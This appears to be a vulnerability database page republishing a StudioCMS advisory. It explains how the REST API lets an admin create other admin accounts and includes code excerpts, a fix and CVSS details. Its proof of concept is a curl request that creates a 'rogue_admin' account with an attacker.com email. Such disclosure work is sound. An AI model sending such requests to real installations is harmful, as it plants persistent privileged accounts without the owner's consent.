Medium

StudioCMS: REST API Missing Rank Check Allows Admin to Create Peer Admin Accounts

  • Disclosed: 12.03.2026
  • Updated: 11.10.2026 10:22

Summary

The REST API createUser endpoint uses string-based rank checks that only block creating owner accounts, while the Dashboard API uses indexOf-based rank comparison that prevents creating users at or above your own rank. This inconsistency allows an admin to create additional admin accounts via the REST API, enabling privilege proliferation and persistence.

Details

The REST API handler in packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts:1365-1378:

ts
// REST API — only blocks creating 'owner'
if (newUserRank === 'owner' && rank !== 'owner') {
    return yield* new RestAPIError({
        error: 'Unauthorized to create user with owner rank',
    });
}

if (rank === 'admin' && newUserRank === 'owner') {
    return yield* new RestAPIError({
        error: 'Unauthorized to create user with owner rank',
    });
}

// Missing: no check preventing admin from creating admin
// newUserRank='admin' passes all checks

The Dashboard API handler in _handlers/dashboard/create.ts uses the correct approach:

ts
// Dashboard API — blocks creating users at or above own rank
const callerPerm = availablePermissionRanks.indexOf(userData.permissionLevel);
const targetPerm = availablePermissionRanks.indexOf(rank);

if (targetPerm >= callerPerm) {
    return yield* new DashboardAPIError({
        error: 'Unauthorized: insufficient permissions to assign target rank',
    });
}

With availablePermissionRanks = ['unknown', 'visitor', 'editor', 'admin', 'owner']:

  • Admin (index 3) creating admin (index 3): 3 >= 3 = blocked in Dashboard
  • In REST API: no such check — allowed

PoC

bash
# 1. Use an admin-level API token

# 2. Create a new admin user via REST API
curl -X POST 'http://localhost:4321/studiocms_api/rest/v1/secure/users' \
  -H 'Authorization: Bearer <admin-api-token>' \
  -H 'Content-Type: application/json' \
  -d '{
    "username": "rogue_admin",
    "email": "rogue@attacker.com",
    "displayname": "Rogue Admin",
    "rank": "admin",
    "password": "StrongP@ssw0rd123"
  }'

# Expected: 403 Forbidden (admin should not create peer admin accounts)
# Actual: 200 with new admin user created

Impact

  • A compromised or rogue admin can create additional admin accounts as persistence mechanisms that survive password resets or token revocations
  • Inconsistent security model between Dashboard API and REST API creates confusion about intended authorization boundaries
  • Note: requires admin access (PR:H), which limits practical severity

Recommended Fix

Replace string-based checks with indexOf comparison in packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts:

ts
// Before:
if (newUserRank === 'owner' && rank !== 'owner') { ... }
if (rank === 'admin' && newUserRank === 'owner') { ... }

// After:
const availablePermissionRanks = ['unknown', 'visitor', 'editor', 'admin', 'owner'];
const callerPerm = availablePermissionRanks.indexOf(rank);
const targetPerm = availablePermissionRanks.indexOf(newUserRank);

if (targetPerm >= callerPerm) {
    return yield* new RestAPIError({
        error: 'Unauthorized: insufficient permissions to assign target rank',
    });
}

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package studiocms < 0.4.3 0.4.3

References

CVSS score 4.7/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
Weakness (CWE)
CWE-269
Platform
npm
Package
studiocms
Disclosed
12.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-wj56-g96r-673q - CC BY 4.0

Vulnerability history: studiocms

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
7
First → latest
01.2026 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 2
  • Medium 4
  • Low 1

Disclosures per year

  1. 2026: 7
  1. StudioCMS: REST API Missing Rank Check Allows Admin to Create Peer Admin Accounts this entry
    Medium · 4.7 CVE-2026-32106 < 0.4.3 0.4.3
  2. Medium · 6.5 CVE-2026-24134 < 0.2.0 0.2.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.